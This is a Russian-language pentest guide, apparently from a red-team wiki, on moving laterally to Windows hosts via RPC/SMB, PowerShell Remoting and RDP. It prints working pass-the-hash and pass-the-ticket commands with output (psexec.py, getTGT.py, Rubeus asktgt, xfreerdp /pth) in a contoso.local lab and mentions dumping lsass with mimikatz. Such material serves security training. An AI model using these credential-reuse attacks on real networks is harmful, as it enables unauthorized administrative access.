Windows computers connection

RPC/SMB

Использовать RPC с SMB — самый распространенный способ. Этот подход используется многими инструментами, такими как PsExec и примерами из impacket psexec.py, wmiexec.py и другими *.exec.py.

Эти инструменты используют какой-нибудь RPC-интерфейс и отправляют/получают информацию, используя SMB pipes. Обычно, инструменты нуждаются только в открытом 445 порте (SMB), но некоторые (например, для wmiexec.py нужен 135 порт (RPC over TCP)).

В дополнение, если это возможно для этих инструментов, они сделают Pass-The-Hash атаку, используя NT или LM хеши. Impacket-инструменты содержат для этого специальный параметр. Для PsExec от ms, вы должны сами инжектнуть NT-хеш в Windows сессии с помощью mimikatz.

$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system

Здесь используется NTLM-аутентификация, хотя сейчас уже Kerberos по умолчанию.

Для того, чтобы использовать Kerberos, надо передать Kerberos-тикет тулзе. В случае с impacket, надо указать путь до ccache-файла (в Linux это делается через переменную окружения, в Windows — с помощью mimikatz или Rubeus).

Для того, чтобы получить Kerberos-тикет для использования, вы должны знать пароль, или NT-хеш (Overpass-the-Hash), или Kerberos keys (Pass-The-Key) или просто забрать тикет с Windows или Linux машины и использовать его (Pass-The-Ticket).

Лучше иметь набор инструментов для каждой ОС – Windows и Linux, тк тикеты имеют разный формат для каждой ОС. Конвертировать тикеты между различными форматами можно с помощью ticket_converter и cerbero.

Пример запроса тикета и подключение по нему:

$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache

$ export KRB5CCNAME=$(pwd)/Anakin.ccache

$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>

Powershell Remoting

Аналог RPC/SMB для коннекта к Windows-машинам.

Порт: 5985 (на Windows Server включен по умолчанию)

На Windows есть куча cmdlet'ов, на Linux можно использовать evil-winrm.

PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
      <!--stripped-->
      ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
      AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/contoso.local
  ServiceRealm          :  CONTOSO.LOCAL
  UserName              :  Administrator
  UserRealm             :  CONTOSO.LOCAL
  StartTime             :  07/05/2021 18:43:26
  EndTime               :  08/05/2021 04:43:26
  RenewTill             :  14/05/2021 18:43:26
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  95a1NmgYXwOmiyCa3qlplA==

PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:

RDP

Windows: можно использовать клиент по умолчанию Remote Desktop Connection (mstsc)

Linux: rdesktop, freerdp или remmina

Минусы: RDP коннект по умолчанию только через пароль.

При подключении по RDP, кредсы кэшируются на машине и могут быть украдены из процесса lsass с помощью инструментов, таких как mimikatz.

В Win8.1 / 2012 R2 Microsoft добавили Restricted Admin mode для RDP. Когда этот режим включен, пароль не передается на тачку, это дает возможность выполнить Pass-The-Hash, Pass-The-Key или Pass-The-Ticket атаки и получить RDP-коннект.

From Linux, you can use freerdp to perform a Pass-The-Hash with RDP (you need to install the freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11 as the article said). You only need to provide the NT hash instead of the password.

xfreerdp /u:Anakin@contoso.local /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143

На Windows мы можем заинжектить в память NT-хеш или Kerberos ticket с помощью mimikatz или Rubeus и использовать mstsc.exe /restrictedadmin для получения RDP-сессии без пароля.

Last updated